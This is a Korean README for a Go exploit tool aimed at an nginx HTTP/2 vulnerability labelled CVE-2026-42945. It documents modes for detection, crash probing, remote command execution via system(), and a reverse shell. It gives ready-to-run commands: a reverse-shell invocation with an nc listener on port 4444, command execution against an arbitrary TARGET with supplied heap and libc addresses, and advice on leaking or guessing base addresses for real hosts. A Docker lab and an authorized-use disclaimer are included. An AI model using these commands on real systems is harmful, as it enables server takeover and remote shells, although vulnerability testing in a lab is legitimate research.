
Go 기반 PoC 도구로, CVE-2026-42945 (nginx HTTP/2) 대상의 탐지, 충돌 테스트, 명령 실행 및 리버스 셸 기능을 승인된 환경에서 제공합니다.
한국어 | English
nginx HTTP/2 구현(CVE-2026-42945) 에 대한 탐지 및 익스플로잇 보조 도구로, 승인된 환경에서 취약점 존재 여부 확인, 패치 효과 대조, 제어 가능한 실험 환경에서 PoC 동작 재현을 위해 사용됩니다.
영향받는 버전(대략): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ 에서 수정됨.
본 저장소는 보안 연구, 취약점 검증 및 방어적 테스트 목적으로만 제공됩니다.
위 조항에 동의하지 않는 경우, 즉시 사용을 중단하고 이 저장소를 삭제하십시오.
| 모드 | 설명 |
|---|---|
-check-only | 연결성, Server 헤더, 버전 대략 판단, PoC 엔드포인트 탐지 |
-probe-crash | 오버플로우 탐지 패킷 전송, worker 충돌 사이드 채널로 판단 |
-cmd | 익스플로잇 페이로드 구성, system()을 통해 지정 명령 실행 |
-shell | 리버스 셸 ( -lhost 필요, 로컬에 nc 필요) |
-docker | 로컬 Docker 실험 환경(vuln / fixed) 일괄 테스트 |
go.mod 참조)make, golangci-lint (개발/코드 검사)GET /api/, POST /spray 등)를 노출해야 함; Docker 실험 이미지에 내장됨# 빠른 빌드 (bin/에 출력, .gitignore에 있음)
make build-cmd
# 또는 go 직접 사용
go build -o ./bin/cve-2026-42945 ./cmd
# 내장 버전 확인
./bin/cve-2026-42945 -version
릴리스 바이너리: Releases에서 해당 플랫폼의 cve-2026-42945-<os>-<arch>를 다운로드(v* 태그 푸시 후 GitHub Actions가 자동 빌드).
-target string 대상 IP/호스트명 (기본값 127.0.0.1)
-port int 대상 포트 (0=80; Docker 취약 버전은 주로 19321 사용)
-docker 로컬 Docker 실험 환경 테스트 (vuln:19321, fixed:19331)
-check-only 탐지만 수행, 익스플로잇 트래픽 전송 안 함
-probe-crash 오버플로우 탐지 + worker 충돌 사이드 채널
-cmd string system()을 통해 실행할 명령
-shell 리버스 셸 ( -lhost 필요)
-lhost string 리버스 셸 로컬 IP
-lport int 리버스 셸 로컬 포트 (기본값 4444)
-docker-profile deploy/docker의 실제 힙/libc 베이스 주소 사용
-heap-base string 힙 베이스 주소 (16진수, 예: 0x555555659000)
-libc-base string libc 베이스 주소 (16진수)
-tries int 각 힙 후보 시도 횟수 (기본값 10)
-timeout int 단일 HTTP 타임아웃 초 (기본값 5)
-v 상세 출력
-version 버전 표시 후 종료
-docker모드는-cmd/-shell과 동시에 사용할 수 없음; 단일 대상 익스플로잇 시-port 19321를 지정하세요.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
먼저 실험 컨테이너 시작:
make docker-up
# 또는
docker compose -f deploy/docker-compose.yml up -d --build
첫 빌드 시 nginx를 컴파일해야 하므로 몇 분이 소요될 수 있음;
docker compose ps에서 서비스가healthy가 된 후make test-lab실행.
| 서비스 | 포트 | 설명 |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (영향받음) |
| fixed | 19331 | nginx 1.30.1 (수정됨) |
일괄 탐지:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
또는 Makefile 단축 목표 사용:
make test-lab # check + probe
make cmd-exploit # vuln에 /tmp/pwned 쓰고 검증 명령 힌트 표시
실험 컨테이너는 ASLR이 해제(setarch -R)되어 있고 -docker-profile로 사전 설정된 베이스 주소를 사용할 때 성공률이 가장 높습니다:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# 파일이 기록되었는지 확인
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# 터미널 1: 도구 실행 (백그라운드에서 nc 리스너 시도)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# nc를 찾지 못한 경우, 다른 터미널에서 수동 리스너 실행:
nc -lvnp 4444
실제 대상의 ASLR, libc 버전이 Docker와 일치하지 않는 경우, 직접 베이스 주소를 유출하거나 추측해야 합니다:
# 대상은 평문 HTTP 포트여야 함 (TLS 아님)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] 사이드 채널: worker 이상: worker가 오버플로우로 인해 충돌했을 가능성을 나타낼 뿐, 단독으로 RCE 성공의 근거가 될 수 없음.docker exec 등) 확인.cmd/ 주요 프로그램 진입점
internal/rift/ 탐지, 페이로드 구성 및 익스플로잇 로직
deploy/docker/ nginx 1.30.0 / 1.30.1 실험 이미지
deploy/docker-compose.yml
.github/workflows/ 멀티 플랫폼 릴리스 빌드
make help # 모든 make 목표 확인
make test # 단위 테스트
make lint # golangci-lint
make version # 현재 빌드 버전 표시
새 버전 릴리스:
git tag v1.0.0
git push origin v1.0.0
귀하가 테스트할 권한이 있는 시스템에서만 이 도구를 사용하십시오. 모든 오용 행위는 작성자와 무관합니다.
| 항목 | 설명 |
|---|
| 프로토콜 | 평문 HTTP만 지원(net.Dial + 원시 HTTP 바이트), HTTPS/TLS는 지원되지 않음. -port 443 등의 TLS 포트는 TLS 종료를 먼저 설정하거나 HTTP 포트로 변경해야 함. |
| Docker 실험 | 이미지는 linux/amd64이며, 첫 docker compose build 시 nginx를 소스에서 컴파일하므로 시간이 오래 걸림; 컨테이너 내부는 setarch -R로 ASLR을 해제하여 프로덕션 환경과 차이가 큼. |
| Apple Silicon | 로컬 Docker는 platform: linux/amd64로 에뮬레이션되어 속도가 느림. |
| 리버스 셸 | -shell은 시스템 nc에 의존하며, Windows에서는 수동으로 리스너를 설정하는 것이 좋음. |
| 익스플로잇 판단 | 사이드 채널(worker 충돌) ≠ RCE, 명령 부작용(파일, 프로세스 등)을 반드시 독립적으로 검증해야 함. |